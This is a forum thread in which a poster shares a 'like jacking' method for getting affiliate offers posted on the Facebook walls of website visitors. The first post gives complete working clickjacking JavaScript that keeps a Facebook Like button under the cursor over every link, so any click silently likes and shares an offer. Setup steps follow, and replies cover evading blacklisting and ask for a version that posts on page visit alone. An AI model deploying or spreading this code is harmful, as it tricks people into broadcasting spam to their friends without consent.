[Method] $$$ Post your offer on someones facebook anytime they click a link.

zacatictac

Power Member
Joined
May 2, 2010
Messages
656
Reaction score
804
I'm not going to go too crazy in depth with this, just a basic rundown. Basically using a "like jacking" technique you can have any offer you want post on the facebook wall of whoever clicks a link on your website.

Change the headers of your webpage with the following:
Code:
<script src="http://code.jquery.com/jquery-1.5.js"></script>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script>window.DO_CLICKJACKING = 1</script>
<script src="clickjacking.js"></script>

Copy this to a text file and save it as "clickjacking.js" Then upload it to the root folder of your website:

Code:
var $J = jQuery.noConflict(); 

// solve: images and floating divs
function heightestChild(elem)
{
	var t=0;
	var t_elem;
	$J("*",elem).each(function () {
	    if ( $J(this).outerHeight(true) > t ) {
	        t_elem=$J(this);
	        t=t_elem.outerHeight(true);
	    }
	});
	// we care about the heighest
	if (elem.outerHeight(true) > t)
	{
		t = elem.outerHeight(true);
	}

	//return elem.outerHeight(true);
	return t+3; // hotfix
}

function highestOffsetTop(elem)
{
	var t=elem.offset().top;
	var t_elem;
	$J("*",elem).each(function () {
	    if ( $J(this).offset().top < t ) {
	        t_elem=$J(this);
	        t=t_elem.offset().top;
	    }
	});
	// we only care about the object that is most on top
	if (elem.offset().top < t)
	{
		t = elem.offset().top;
	}

	//return elem.offset().top;
	return t+3;
}

// 57 19 63

$J(document).ready(function(){
	if (window.DO_CLICKJACKING) { // wrap up EVERYTHING

	/*$J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');*/
	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');

	var elementWidth = 0;
	var elementHeight = 0;
	var theElement = '';
	var likeDone = 0;

	if ($J.cookie("clickjacking_"+escape(document.URL)) == 1)
	{
		likeDone = 1;
	}

	// fired when the user clicks a link (likes our page) -> clickjacking is done
	FB.Event.subscribe('edge.create', function(response) {
		  $J("#clickjacking").css("display", "none");
		  likeDone = 1;
		  $J.cookie("clickjacking_"+escape(document.URL), "1");
		  // let the user actually go to the link he clicked.
		  window.location.href = theElement.attr('href');
	});

$J(document).mousemove(function(event) {
		if (theElement != '')
		{
			if (event.pageY < (highestOffsetTop(theElement)-4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width()) )
			{
				//alert(event.pageY + " " + theElement.height() + " " + theElement.offset().top);
			/*	$J("#log").append("<p>mouse off the element LEFT " + event.pageX  + " " + theElement.offset().left + " " + (theElement.offset().left + theElement.width()) +  "</p>");
				$J("#log").append("<p>mouse off the element TOP " + event.pageY  + " " + highestOffsetTop(theElement) + " " + (highestOffsetTop(theElement) + heightestChild(theElement,true)) +  "</p>");*/
				theElement = ''; // the mouse is off theElement
				$J("#clickjacking").css("display", "none");
			}
			else
			{
				if ($J.browser.msie) {
					$J("#clickjacking").css("top",(event.pageY-15)+"px");
					$J("#clickjacking").css("left",(event.pageX-20)+"px");
				}
				else
				{
					$J("#clickjacking").css("top",(event.pageY-5)+"px");
					$J("#clickjacking").css("left",(event.pageX-20)+"px");
				}
			}
		}
});

$J(document).delegate("a","mouseenter", function (){
	// register mouse is inside element
	if (likeDone == 0)
	{
		theElement = $J(this);
		$J("#clickjacking").css("display", "block");
	}
}); 

} // window.DO_CLICKJACKING
});

/**
 * Cookie plugin
 *
 * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 */

/**
 * Create a cookie with the given name and value and other optional parameters.
 *
 * @example $.cookie('the_cookie', 'the_value');
 * @desc Set the value of a cookie.
 * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });
 * @desc Create a cookie with all available options.
 * @example $.cookie('the_cookie', 'the_value');
 * @desc Create a session cookie.
 * @example $.cookie('the_cookie', null);
 * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
 *       used when the cookie was set.
 *
 * @param String name The name of the cookie.
 * @param String value The value of the cookie.
 * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
 * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
 *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
 *                             If set to null or omitted, the cookie will be a session cookie and will not be retained
 *                             when the the browser exits.
 * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
 * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
 * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
 *                        require a secure protocol (like HTTPS).
 * @type undefined
 *
 * @name $.cookie
 * @cat Plugins/Cookie
 * @author Klaus Hartl/[email protected]
 */

/**
 * Get the value of a cookie with the given name.
 *
 * @example $.cookie('the_cookie');
 * @desc Get the value of a cookie.
 *
 * @param String name The name of the cookie.
 * @return The value of the cookie.
 * @type String
 *
 * @name $.cookie
 * @cat Plugins/Cookie
 * @author Klaus Hartl/[email protected]
 */
jQuery.cookie = function(name, value, options) {
    if (typeof value != 'undefined') { // name and value given, set cookie
        options = options || {};
        if (value === null) {
            value = '';
            options.expires = -1;
        }
        var expires = '';
        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
            var date;
            if (typeof options.expires == 'number') {
                date = new Date();
                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
            } else {
                date = options.expires;
            }
            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
        }
        // CAUTION: Needed to parenthesize options.path and options.domain
        // in the following expressions, otherwise they evaluate to undefined
        // in the packed version for some reason...
        var path = options.path ? '; path=' + (options.path) : '';
        var domain = options.domain ? '; domain=' + (options.domain) : '';
        var secure = options.secure ? '; secure' : '';
        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
    } else { // only name given, get cookie
        var cookieValue = null;
        if (document.cookie && document.cookie != '') {
            var cookies = document.cookie.split(';');
            for (var i = 0; i < cookies.length; i++) {
                var cookie = jQuery.trim(cookies[i]);
                // Does this cookie string begin with the name we want?
                if (cookie.substring(0, name.length + 1) == (name + '=')) {
                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                    break;
                }
            }
        }
        return cookieValue;
    }
};


Then go to http://developers.facebook.com/docs/reference/plugins/like/

Go to where it says "Get open Graph tags".

Put in your offer title, Url, Image, etc.

Click "get tags"

Paste the generated code into the header of your website as well.



Your done. Now when anyone who is logged into face book clicks any link on your site, your offer will appear on their wall for all their friends to see. Enjoy!
 

zacatictac

Power Member
Joined
May 2, 2010
Messages
656
Reaction score
804
Yea no problem. Hope this helps you out.

BTW. IF you just want your website to be liked, and not another offer....just skip the Open Graph Tags part.
 

adhept

Junior Member
Joined
Apr 15, 2009
Messages
102
Reaction score
31
Great share! Should be able to find a use for this.
 

Dropdown

Power Member
Joined
Mar 7, 2010
Messages
510
Reaction score
289
Will facebook blacklist this as fast as they would normally blacklist websites that have this on their own websites? (So would FB blacklist the offer?)
 

albaniax

Elite Member
Joined
Aug 5, 2008
Messages
1,640
Reaction score
856
Can I upload the clickjacking.js to another server?
 

zacatictac

Power Member
Joined
May 2, 2010
Messages
656
Reaction score
804
Will facebook blacklist this as fast as they would normally blacklist websites that have this on their own websites? (So would FB blacklist the offer?)
I would assume so. At that point just switch it out with another offer and keep going. I just came up with this a few days ago so I havn't thoroughly tested it yet.

Can I upload the clickjacking.js to another server?
Needs to be in the root folder of your Websites webserver. I didnt write the code so I'm not sure if there is a way to tweak this or not.
 

albaniax

Elite Member
Joined
Aug 5, 2008
Messages
1,640
Reaction score
856
Ahhh just changing the src= to the correct http-path will make it ;)
Didn't look at the script before.

Thx man this helps me ;)
 

TheKingGeek

BANNED
Joined
Mar 24, 2011
Messages
1,078
Reaction score
1,120
I dont get it,can somebody please explain how could I see this up for a cpa offer link,or does it have to be a website? thanks in advance.
 

hollaholla

Newbie
Joined
Jan 14, 2009
Messages
38
Reaction score
14
Age
40
we have the like button on each item on our ecom sites. they click, it posts the image and description of the item with a link to the item on their page. how does this differ from that?
 

zacatictac

Power Member
Joined
May 2, 2010
Messages
656
Reaction score
804
we have the like button on each item on our ecom sites. they click, it posts the image and description of the item with a link to the item on their page. how does this differ from that?


Um because that doesn't necessarily mean that everyone is going to click the like button. This is a forced like method. Its a hidden like button so ANYONE who clicks ANY link on your website automatically likes your website/offer/whatever.
 

plumbum416

Junior Member
Joined
Mar 17, 2011
Messages
105
Reaction score
21
Well at least if the clicking person is logged in at facebook, but I think most users won't log out so it works quite well
 

zacatictac

Power Member
Joined
May 2, 2010
Messages
656
Reaction score
804
I dont get it,can somebody please explain how could I see this up for a cpa offer link,or does it have to be a website? thanks in advance.


You must own a website for this to work. Put your cpa offer link in the headers area following the link i provided.
 

csebastian

Regular Member
Joined
Oct 9, 2008
Messages
349
Reaction score
377
Age
34
What about confirm button ? when you like something ?
 

albaniax

Elite Member
Joined
Aug 5, 2008
Messages
1,640
Reaction score
856
What about confirm button ? when you like something ?

I guess one doesn't needs that, correct me if I'm wrong ladies.
I'm going to set this up tomorrow and report back. Could be a nice amount of likes from 1.500 uniques a day ;)
 

csebastian

Regular Member
Joined
Oct 9, 2008
Messages
349
Reaction score
377
Age
34
IF you auto promote your own website instead of the offer then you get confirm , is good tho for offers ,

correct me if i`m wrong
 

datrends

Registered Member
Joined
Nov 11, 2008
Messages
56
Reaction score
3
Hi ...
Can you make a script that when visitor VISIT your web, then the OFFER or something we promote AUTOMICALLY post on their FB wall ? So, we dont need a FB Fan page and so they dont need to click anything. Just simple, they visit our web and our offer posted on their wall.
 

stradivari

Junior Member
Joined
Mar 25, 2010
Messages
127
Reaction score
28
Most people are logged onto Facebook 24/7 and this is actually a pretty good solution. I used another script but must give this variation a go. :chicken_w
 
Top